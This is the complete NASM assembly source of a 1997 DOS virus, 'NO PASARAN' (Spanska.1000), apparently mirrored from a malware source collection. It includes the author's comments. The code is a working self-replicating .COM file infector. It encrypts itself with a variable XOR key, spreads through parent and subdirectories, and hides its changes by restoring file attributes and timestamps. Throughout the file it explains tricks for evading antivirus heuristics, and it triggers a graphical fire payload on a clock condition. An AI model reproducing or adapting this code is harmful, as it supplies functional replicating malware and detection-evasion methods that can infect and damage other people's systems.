mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
668 lines
26 KiB
NASM
668 lines
26 KiB
NASM
; NO PASARAN virus version 2 by Spanska
|
|
; Called Spanska.1000 by AV people
|
|
; This is my first virus
|
|
;
|
|
;***********************************************************************
|
|
;
|
|
; This virus is dedicated to all spanish and international young
|
|
; guys who fighted against fascist army during Spanish Civil War
|
|
; (1936-1939). They said "THEY SHALL NOT PASS!"
|
|
;
|
|
;********************************contact me at el_gato@rocketmail.com***
|
|
;
|
|
; No flag with TBSCAN
|
|
; At the time it was released (january 97), was not detected by
|
|
; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode
|
|
; but by DrWeb in heuristic mode (i didn't know this program...)
|
|
;
|
|
; generation zero size: 3537 bytes
|
|
; virus size: 1000 bytes
|
|
;
|
|
; Compile it with TASM /m2 and TLINK /t
|
|
;
|
|
; Properties:
|
|
; simple .com runtime infector
|
|
; not destructive
|
|
; encrypted with variable key
|
|
; infects 7 files each run
|
|
; infects current directory, than upper directories
|
|
; when it reaches the root, it starts infecting all "level1" subdirectories
|
|
; doe not infect files >60,000 or <100 bytes, nor command.com
|
|
; the VGA graphic bomb (a fire effect) explodes when minutes=22
|
|
; and seconds<30 (1/120)
|
|
|
|
code segment
|
|
assume ds:code, ss:code, cs:code, es:code
|
|
org 100h
|
|
;
|
|
;---------------fake host code--------------------
|
|
;
|
|
hote:
|
|
call virus ;jump to viral code (avoid J flag)
|
|
signature db "lc" ;virus signature
|
|
nop ;
|
|
nop ;fake host
|
|
nop ;
|
|
nop ;
|
|
mov ah, 4ch ;finished
|
|
mov al,0 ;go to
|
|
int 21h ;DOS
|
|
|
|
;**********************************************************************
|
|
; START OF VIRAL CODE
|
|
;**********************************************************************
|
|
|
|
virus: ;virus starts here
|
|
jmp evite ;avoid next routine
|
|
|
|
;=== simulation of a stosb ===
|
|
;=== when outside decrypt loop ===
|
|
;=== do not flag # ===
|
|
baise_flag_cryptage: ;===
|
|
mov [di], al ;=========>>> NO MORE FLAG "#" !!!!!
|
|
inc di ;===
|
|
ret ;===
|
|
;===================================
|
|
;
|
|
;---------------get delta offset----------------------------
|
|
;
|
|
evite:
|
|
call $+3 ;modified classic
|
|
delta: ;routine to
|
|
mov bp, sp ;avoid flag E
|
|
mov ax, [bp] ;
|
|
add word ptr [bp], decrypte-delta ;thanks Slacker's Theory
|
|
sub ax, offset delta ;of Code through Obscurity!
|
|
mov bp, ax
|
|
ret
|
|
;
|
|
;----------------------decrypting routine-------------------------
|
|
;
|
|
decrypte:
|
|
mov dl, [bp+offset clef] ;get actual key
|
|
mov cx, fin_cryptage - debut_cryptage ;
|
|
lea si, [bp+offset debut_cryptage] ;
|
|
mov di, si ;
|
|
xor_loop: ;decrypt loop
|
|
mov al, [si] ;
|
|
inc si ;
|
|
xor al, dl ;
|
|
call baise_flag_cryptage ;call the fake stosb to avoid flag #
|
|
loop xor_loop
|
|
;
|
|
;-----initialization to 0 of both infection and directory counters--------
|
|
;
|
|
debut_cryptage: ;crypted zone starts here
|
|
mov byte ptr [bp+offset compteur], 0 ;infection counter
|
|
mov byte ptr [bp+offset phase], 0 ;directory counter
|
|
;
|
|
;-----------------------remember current repertory-----------------------
|
|
;
|
|
lea si, [bp+offset repert] ;
|
|
xor dl, dl ;
|
|
mov ah, 47h ;
|
|
int 21h ;
|
|
;
|
|
;-----------------DTA go to a predefined zone in memory------------------
|
|
;
|
|
push 1a00h ;push/pop to
|
|
pop ax ;avoid flag F
|
|
lea dx, [bp+offset dta] ;
|
|
int 21h ;
|
|
;
|
|
;------------------------find first file---------------------------------
|
|
;
|
|
recherche:
|
|
mov cx, 0007h ;
|
|
lea dx, [bp+offset file_type] ;
|
|
mov ax, 4e00h ;
|
|
int 21h ;file found?
|
|
jnc sauter_suivant ;yes => c=0, let's continue
|
|
jmp rep_sup ;no => go to upper directory
|
|
;
|
|
;---------------------------find next file--------------------------------
|
|
;
|
|
fichier_suivant:
|
|
lea dx, [bp+offset file_type] ;
|
|
mov ax, 4f00h ;
|
|
mov cx, 0007h ;
|
|
int 21h ;file found?
|
|
jnc saut5 ;yes => c=0, let's continue
|
|
jmp rep_sup ;no => go to upper direcory
|
|
saut5:
|
|
;
|
|
;---------------verify if extension is really .com---------------------
|
|
; (it's made to avoid flag S with tbscan)
|
|
; (and to avoid AVP detection 'cause AVP detects all combinations
|
|
; like .c?m, .?om..., BUT .c*)
|
|
;
|
|
sauter_suivant:
|
|
mov cx, 13d ;max size of a file name (not really, but
|
|
lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere)
|
|
compare: ;loop for detecting start of the extension
|
|
lodsb ;letter in al
|
|
cmp al, "." ;is it a point?
|
|
jne compare ;no => test next letter
|
|
inc si ;yes => si points on second extension letter
|
|
cmp word ptr [si], "MO" ;second and third letters are "OM"?
|
|
jne fichier_suivant ;no => find next file
|
|
;
|
|
;-------------------verify if it's command.com----------------------------
|
|
;
|
|
cmp word ptr [bp+offset dta+1eh+2], "MM"
|
|
je fichier_suivant ;yes => find next file
|
|
;
|
|
;------------attributes to 0 to infect special files---------------------
|
|
;
|
|
lea dx, [bp+offset dta+1eh] ;file name pointed with dx
|
|
push 4301h ;push/pull to
|
|
pop ax ;avoid flag F
|
|
xor cx, cx ;
|
|
int 21h ;
|
|
;
|
|
;---------------------------open file------------------------------------
|
|
;
|
|
mov ax, 3D02h ;
|
|
lea dx, [bp+offset dta+1eh] ;
|
|
int 21h ;file found?
|
|
jnc saut2 ;yes => c=0, let's continue
|
|
jmp remise_en_etat ;no => arrange file and close it
|
|
saut2: ;
|
|
mov [bp+offset handle],ax ;
|
|
;
|
|
;-----------------read 5 first bytes of the file---------------------
|
|
;
|
|
xchg ax, bx ;
|
|
mov cx, 5 ;
|
|
mov ax, 3F00h ;
|
|
lea dx, [bp+offset contenu] ;bytes go to "contenu" zone
|
|
int 21h ;file found?
|
|
jnc saut3 ;yes => c=0, let's continue
|
|
jmp remise_en_etat ;no => arrange file and close it
|
|
saut3: ;
|
|
;
|
|
;------------------is the file already infected?-----------------------
|
|
;
|
|
cmp word ptr [bp+offset contenu+3], "cl" ;compare with signature
|
|
jnz saut4 ;not infected => z=0, let's continue
|
|
jmp remise_en_etat ;already infected => arrange file and close
|
|
saut4: ;
|
|
;
|
|
;-----------------------is the size correct?---------------------------
|
|
;
|
|
cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000
|
|
jna pas_trop_gros ;is it bigger?
|
|
jmp remise_en_etat ;yes => find next file
|
|
pas_trop_gros: ;no => other verification
|
|
cmp word ptr [bp+offset dta+1ah], 100 ;compare size with 100
|
|
jnb verif_ok ;if >100 let's continue
|
|
;
|
|
;--------arrange file and close it in case of non-infection-------------
|
|
;
|
|
remise_en_etat:
|
|
mov ah, 3Eh ;
|
|
int 21h ;close it
|
|
;
|
|
;------------------restore attributes-----------------------------------
|
|
;
|
|
lea dx, [bp+offset dta+1eh] ;
|
|
xor ch, ch ;
|
|
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA
|
|
push 4301h ;push/pop to
|
|
pop ax ;avoid flag F
|
|
int 21h ;
|
|
;
|
|
;----------after arranging the file, let's find another one-------------
|
|
;
|
|
jmp fichier_suivant ;go to find-next routine
|
|
;
|
|
;-------------------disk file pointer at the end-------------------
|
|
;
|
|
verif_ok:
|
|
mov ax, 4202h ;
|
|
xor cx, cx ;
|
|
mov dx, cx ;
|
|
int 21h ;
|
|
;
|
|
;----------------------infection routine------------------------------
|
|
;
|
|
;first, let's write non-encrypted part
|
|
;
|
|
mov ax, 4000h ;
|
|
mov cx, debut_cryptage - virus ;
|
|
lea dx, [bp+offset virus] ;
|
|
int 21h ;
|
|
;
|
|
;second, let's crypt next part in memory
|
|
;
|
|
mov cl, [bp+offset cinq_octets+1] ;cl=new key
|
|
mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone
|
|
lea si, [bp+offset debut_cryptage] ;si=start of the crypted zone
|
|
lea di, [bp+offset zone_de_travail] ;di=temporary mem zone for crypting
|
|
xchg cl, dl ;key in dl
|
|
mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt
|
|
crypte_et_transfere: ;
|
|
lodsb ;
|
|
xor al, dl ;classic XOR crypting loop
|
|
stosb ;
|
|
loop crypte_et_transfere ;
|
|
;
|
|
;third, disk writing of the crypted zone
|
|
;
|
|
mov ax, 4000h ;
|
|
mov cx, fin_cryptage - debut_cryptage ;number of bytes to write
|
|
lea dx, [bp+offset zone_de_travail] ;
|
|
int 21h ;
|
|
;
|
|
;------write on disk real 5 first bytes of the file+new crypt key--------
|
|
;----from "contenu" zone in memory to "cinq_octets" zone on the disk)----
|
|
;
|
|
;1) move disk file pointer to good zone
|
|
;
|
|
xor cx, cx ;
|
|
mov dx, word ptr [bp+offset dta+1ah] ;non-infected file size in dx
|
|
add dx, cinq_octets - virus ;add offset of good zone
|
|
mov ax, 4200h ;
|
|
int 21h ;
|
|
;
|
|
;2) move memory pointer to good zone, and transfer
|
|
;
|
|
mov cx, 6 ;we will write 6 bytes
|
|
lea dx, [bp+offset contenu] ;("contenu" + "clef_temp")
|
|
push 4000h ;so 5 first bytes + new key
|
|
pop ax ;this push/pop is not necessary
|
|
int 21h ;
|
|
;
|
|
;--overwrite 5 first bytes on the disk by jump to virus code + signature---
|
|
;
|
|
;1) move disk file pointer to start of the file
|
|
;
|
|
xor cx,cx ;
|
|
mov dx, cx ;
|
|
mov ax, 4200h ;
|
|
int 21h ;
|
|
;
|
|
;2) calculate initial jump and write all on a temp zone in memory
|
|
;(NB: we use the "contenu" memory zone which is not more util)
|
|
;
|
|
mov byte ptr [bp+offset contenu], 0e8h ;E8=opcode of CALL
|
|
mov ax, word ptr [bp+offset dta+1ah] ;ax=file size
|
|
sub ax, 3 ;this is because of the CALL
|
|
mov word ptr [bp+offset contenu+1], ax ;write deplacement
|
|
mov word ptr [bp+offset contenu+3], "cl" ;write signature
|
|
;
|
|
;3) overwrite 5 first bytes on the file
|
|
;
|
|
mov cx,5 ;
|
|
lea dx, [bp+offset contenu] ;
|
|
mov ax, 4000h ;
|
|
int 21h ;
|
|
;
|
|
;-------------------restore time/date of the file------------------------
|
|
;
|
|
mov dx, word ptr [bp+offset dta+18h] ;date in dx
|
|
mov cx, word ptr [bp+offset dta+16h] ;time in cx
|
|
push 5701h ;push/pop
|
|
pop ax ;to avoid flag F
|
|
int 21h ;
|
|
;
|
|
;-----------------------------close file---------------------------------
|
|
;
|
|
mov ah, 3Eh ;
|
|
int 21h ;
|
|
;
|
|
;------------------------restore file attributes-----------------------
|
|
;
|
|
lea dx, [bp+offset dta+1eh] ;
|
|
xor ch, ch ;
|
|
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA
|
|
push 4301h ;
|
|
pop ax ;
|
|
int 21h ;
|
|
;
|
|
;--------------verify how many files we have infected------------------
|
|
;
|
|
mov byte ptr cl, [bp+offset compteur] ;infection counter in cl
|
|
inc cl ;one more
|
|
cmp cl, 7 ;have we infected 7 files?
|
|
je attendre ;yes => let's stop
|
|
mov byte ptr [bp+offset compteur], cl ;no => write new value of counter
|
|
;
|
|
;-----------------------let's infect a new file-------------------------
|
|
;
|
|
jmp fichier_suivant ;infect next file
|
|
;
|
|
;---------------------climb to upper directory--------------------------
|
|
;
|
|
rep_sup:
|
|
lea dx, [bp+offset dot] ;let's go to ".." repertory
|
|
mov ah, 3bh ;
|
|
int 21h ;are we in the root?
|
|
jc on_redescend ;yes => c=1, let's go down now
|
|
jmp recherche ;no => find first file
|
|
;
|
|
;---if we are in root, let's go to all "first-level" subdirectories-----
|
|
;
|
|
on_redescend: ;
|
|
mov ah, 4eh ;find first file
|
|
mov cx, 16 ;with repertory attribute
|
|
lea dx, [bp+offset dir_masque] ;called "*.*"...
|
|
int 21h ;
|
|
jc attendre ;there are no subdirectory => stop
|
|
|
|
cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)?
|
|
je le_premier ;phase=0 => do not find next dir
|
|
|
|
xor bh, bh ;
|
|
mov bl, byte ptr [bp+offset phase] ;bx=phase
|
|
|
|
rep_suivant: ;loop to avoid all subdir already infected
|
|
mov cx, 16 ;rep attributes
|
|
mov ah, 4fh ;find next dir
|
|
lea dx, [bp+offset dir_masque] ;
|
|
int 21h ;
|
|
jc attendre ;there are no subdirectory => stop
|
|
|
|
cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory?
|
|
jne rep_suivant ;no => find next
|
|
|
|
dec bx ;this routine is made to infect
|
|
cmp bx, 0 ;directory "number phase"
|
|
jne rep_suivant ;if bx<>0, the subdir is already infected
|
|
|
|
le_premier:
|
|
add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected
|
|
|
|
lea dx, [bp+offset dta+1eh] ;so, let's change
|
|
mov ah, 3bh ;directory to it
|
|
int 21h ;
|
|
|
|
jmp recherche ;and infect this new subdirectory
|
|
;
|
|
;-----in case of problem, or no more directory to infect, we go here------
|
|
;
|
|
attendre: ;
|
|
;
|
|
;------------------DTA in the normal zone-----------------------------
|
|
; (to avoid perturbing host program)
|
|
;
|
|
push 1a00h ;push/pop
|
|
pop ax ;to avoid flag F
|
|
mov dx, 80h ;to 80h, the normal zone
|
|
int 21h ;
|
|
;
|
|
;------restore the directory in which we were when we started-------------
|
|
;
|
|
;primo, rapid climb until the root
|
|
;
|
|
remontee_finale:
|
|
lea dx, [bp+offset dot] ;
|
|
mov ah, 3bh ;
|
|
int 21h ;
|
|
jnc remontee_finale ;continue until we are in the root
|
|
;
|
|
;secundo, we go to the directory in which we were at start
|
|
;
|
|
lea dx, [bp+offset repert] ;we saved the dir in this zone
|
|
mov ax, 3B00h ;change dir
|
|
int 21h ;
|
|
;
|
|
;------replace 5 first bytes of the host in memory----------
|
|
;
|
|
lea si, [bp+offset cinq_octets] ;original 5 bytes were stored here
|
|
mov ax, 101h ;classic trick to
|
|
dec ax ;avoid flag B
|
|
mov di, ax ;100h in DI for transfer
|
|
mov cx, 5 ;write 5 bytes
|
|
rep movsb ;transfer them
|
|
;
|
|
;--------------------does the bomb explode?---------------------
|
|
;
|
|
mov ah, 2Ch ;internal clock: ch=hour et cl=minute
|
|
int 21h ;
|
|
cmp cl, 22d ;minutes = 22?
|
|
jne redonner_la_main ;no => return to host
|
|
cmp dh, 30d ;yes => test seconds
|
|
jb bombe ;if seconds <30 (1/120) the bomb explodes
|
|
;
|
|
;-----------------------return to host----------------------------
|
|
; (remember the very first CALL: we have 103h on the stack)
|
|
;
|
|
redonner_la_main:
|
|
pop ax ;get 103h
|
|
sub ax, 3 ;we want 100h
|
|
push ax ;re-put it on stack (for the RET)
|
|
xor ax, ax ;a starting program
|
|
xor bx, bx ;likes to find all
|
|
xor cx, cx ;registers equals
|
|
xor dx, dx ;to zero.
|
|
ret ;on redonne la main au pauvre programme
|
|
|
|
nop
|
|
nop ;just for fun: with these 3 nops, virus size is just 1000.
|
|
nop
|
|
;
|
|
;**********************************************************************
|
|
; CODE OF THE GRAPHIC BOMB: A FIRE EFFECT
|
|
;**********************************************************************
|
|
bombe:
|
|
|
|
;--------------------------------VGA-----------------------------------
|
|
|
|
mov ax, 13h ;
|
|
int 10h ;goto graphic mode
|
|
|
|
|
|
;------initialisation of the flame palette (black=>red=>white)----------
|
|
|
|
mov dx, 3c8h ;dx = palette port
|
|
xor al, al ;starting with color 0
|
|
out dx, al ;write first color in the port
|
|
inc dx ;define all colors
|
|
|
|
xor cx, cx ;component red start from 0 and augment
|
|
rouges: ;let's define colors from 0 to 62
|
|
mov al, cl ;first component (red) equal to cl
|
|
out dx, al ;write on palette port
|
|
xor al, al ;others components (blue, green) to zero
|
|
out dx, al ;write blue component
|
|
out dx, al ;write green component
|
|
inc cx ;increment red component of color
|
|
cmp cx, 63 ;do cx reach 63?
|
|
jne rouges ;no => continue loop
|
|
|
|
xor cx, cx ;component blue start from 0 and augment
|
|
jaunes: ;let's define colors from 63 to 125
|
|
mov al, 63 ;component red equal to 63
|
|
out dx, al ;write it
|
|
mov al, cl ;second component (blue) equal to cl
|
|
out dx, al ;write it
|
|
xor al, al ;third component (green) equal to zero
|
|
out dx, al ;write it
|
|
inc cx ;increment blue component of color
|
|
cmp cx, 63 ;do cx reach 63?
|
|
jne jaunes ;no => continue loop
|
|
|
|
xor cx, cx ;component green start from 0 and augment
|
|
blancs: ;let's define colors from 126 to 188
|
|
mov al, 63 ;components red and blue equal to 63
|
|
out dx, al ;write red component
|
|
out dx, al ;write blue component
|
|
mov al, cl ;third component (green) equal to cl
|
|
out dx, al ;write it
|
|
inc cx ;increment green component of color
|
|
cmp cx, 63 ;do cx reach 63?
|
|
jne blancs ;no => continue loop
|
|
|
|
mov cx, 198 ;we're going to define 198/3=66 next colors
|
|
blancfin: ;let's define colors from 189 to 254
|
|
mov al, 255 ;all components are maximum
|
|
out dx, al ;so these colors are white
|
|
loop blancfin ;
|
|
|
|
xor al, al ;define last color (number 255)
|
|
mov cx, 3 ;in black so we do not see the
|
|
rep out dx, al ;focus at the bottom of the flame
|
|
|
|
;------------draw some focus at the bottom at random places--------------
|
|
|
|
mov ax, 0a000h ;video mem
|
|
mov es, ax ;segment in es
|
|
boucle:
|
|
mov di, (320*199)+5 ;start line 199, 5 pixels from the left side
|
|
|
|
foyers:
|
|
call random ;bring back a random dl between 0 and 255
|
|
cmp dl, 180 ;dl>180?
|
|
jb noir ;no => no focus, color to black
|
|
mov dl, 255 ;yes => a focus, color to white
|
|
jmp blanc ;avoid "no focus" routine
|
|
|
|
noir:
|
|
xor dl, dl ;no focus, color to black
|
|
blanc:
|
|
mov al, dl ;load al with color
|
|
mov cx, 5 ;focuses are 5 pixels long
|
|
|
|
zobi:
|
|
stosb ;draw focus pixel
|
|
add di, 319 ;and draw another pixel
|
|
stosb ;under the first
|
|
sub di, 320 ;(more beautiful)
|
|
loop zobi
|
|
|
|
cmp di, (320*199)+30 ;the torch will be 30 pixels wide
|
|
jb foyers ;focus line not finished, so loop
|
|
|
|
;--------real screen--->modification--->virtual screen------------------
|
|
|
|
mov di, 320*120 ;we use just the 80 bottom lines
|
|
lea si, [bp+offset ecran_virtuel] ;memory zone for calculations
|
|
mov dx, 80 ;line loop: 80 repetitions
|
|
xor ax, ax ;we gonna use ax, so put zero
|
|
|
|
ecran: ;start of line loop
|
|
mov cx, 30 ;column loop: 30 repetitions
|
|
|
|
modif: ;start of column loop
|
|
|
|
mov al, es:[di] ;in al, color of current pixel
|
|
add al, es:[di+320] ;add pixel color just under it
|
|
adc ah, 0 ;result may be >255, so add carry
|
|
add al, es:[di+319] ;add pixel color under it to the left
|
|
adc ah, 0 ;add carry
|
|
add al, es:[di+641] ;add pixel 2 lines under it to the right
|
|
adc ah, 0 ;add carry
|
|
shr ax, 1 ;calculate the average color of these
|
|
shr ax, 1 ;4 pixels, dividing ax by 4
|
|
cmp al, 0 ;is this average value black?
|
|
je bitnoir ;yes => do not decrement color
|
|
dec al ;no => decrement color
|
|
|
|
bitnoir:
|
|
mov ds:[si], al ;write pixel with new color on memory
|
|
inc si ;next pixel on memory (virtual screen)
|
|
inc di ;next pixel on screen (real screen)
|
|
|
|
loop modif ;finish the line
|
|
|
|
add di, (320-30) ;on screen, go to first pixel of next line
|
|
dec dx ;dx = line counter, decrement it
|
|
cmp dx, 0 ;are we to the bottom of the screen?
|
|
jne ecran ;no => let's go to next line
|
|
|
|
;----------------virtual screen--->real screen-------------------------
|
|
|
|
mov di, (320*120) ;di points to line 120 on real screen
|
|
lea si, [bp+offset ecran_virtuel] ;si points to start of virtual screen
|
|
|
|
xor dx, dx ;line counter to zero
|
|
|
|
deux_flammes:
|
|
mov cx, 30 ;copy one line to the
|
|
rep movsb ;left side of the screen
|
|
sub si, 30 ;virtual: rewind to the start of the same line
|
|
add di, 230 ;real: draw the second torch at column 230+30+5
|
|
mov cx, 30 ;copy the same line to the
|
|
rep movsb ;right side of the screen
|
|
add di, 30 ;real: start next line (NB: 295+30=320+5)
|
|
inc dx ;increment line counter
|
|
cmp dx, 79 ;copy 78 lines
|
|
jne deux_flammes
|
|
|
|
;--------------put text cursor at line 5, column 1----------------------
|
|
|
|
mov dx, 0501h ;dh=line, dl=column
|
|
xor bh, bh ;page zero
|
|
mov ah,02h ;put cursor to position DH, DL
|
|
int 10h ;BIOS screen int
|
|
|
|
;--------------------write text message on screen-----------------------
|
|
|
|
mov ah, [bp+offset clignote] ;blink counter in ah
|
|
inc ah ;increment it
|
|
mov [bp+offset clignote], ah ;put it back to its place
|
|
cmp ah, 128 ;compare it to 128 (alternance time 50/50)
|
|
ja second_message ;inferior => write second message
|
|
lea si, [bp+offset message] ;superior => write first message
|
|
jmp premier_message ;and avoid second message
|
|
second_message: ;
|
|
lea si, [bp+offset message2] ;now write second message
|
|
premier_message:
|
|
|
|
mov cx, 36 ;message lenght
|
|
|
|
affiche_message:
|
|
lodsb ;load letter in al
|
|
mov bl, 254 ;and color in bl (white)
|
|
mov ah, 0Eh ;
|
|
int 10h ;write this letter on screen
|
|
loop affiche_message
|
|
|
|
jmp boucle ;return to step "draw focus"
|
|
|
|
;-----------random number creation routine (stolen somewhere)--------------
|
|
|
|
random proc near
|
|
mov ax, [bp+offset aleat]
|
|
mov dx, 8405h
|
|
mul dx
|
|
inc ax
|
|
mov [bp+offset aleat], ax
|
|
ret
|
|
random endp
|
|
|
|
;--------------memory zones of the graphic effect------------------------
|
|
|
|
message db " Remember those who died for Madrid " ;message 1
|
|
message2 db "No Pasaran! Virus v2 by Spanska 1997" ;message 2
|
|
clignote db 00 ;blink counter
|
|
aleat dw 0AAh ;random seed
|
|
|
|
;
|
|
;-------------------memory zones of the virus----------------------------
|
|
;
|
|
dir_masque db "*.*",0 ;mask to find subdirectories
|
|
file_type db "*.c*",0 ;mask to find file type
|
|
dot db "..",0 ;mask to find upper directory
|
|
fin_cryptage: ;end of crypting
|
|
cinq_octets db 5 dup(90h) ;5 first bytes of host
|
|
clef db 0 ;crypt key
|
|
;
|
|
;--------these temporary memory zones are not written on disk------------
|
|
;
|
|
phase db 0 ;to find the good subdirectories
|
|
compteur db 0 ;infection counter
|
|
handle db 0,0 ;file handle
|
|
contenu db 0,0,0,0,0 ;to read 5 first bytes of a file
|
|
clef_temp db 0 ;crypt key
|
|
dta db 48 dup (0AAh) ;DTA zone
|
|
repert db 64 dup (0FFh) ;starting directory
|
|
ecran_virtuel db 80*30 dup (00) ;virtual screen
|
|
zone_de_travail: ;used to crypt virus
|
|
|
|
code ends
|
|
end hote
|
|
|
|
; ------------------------(c) Spanska 1997------------------------------
|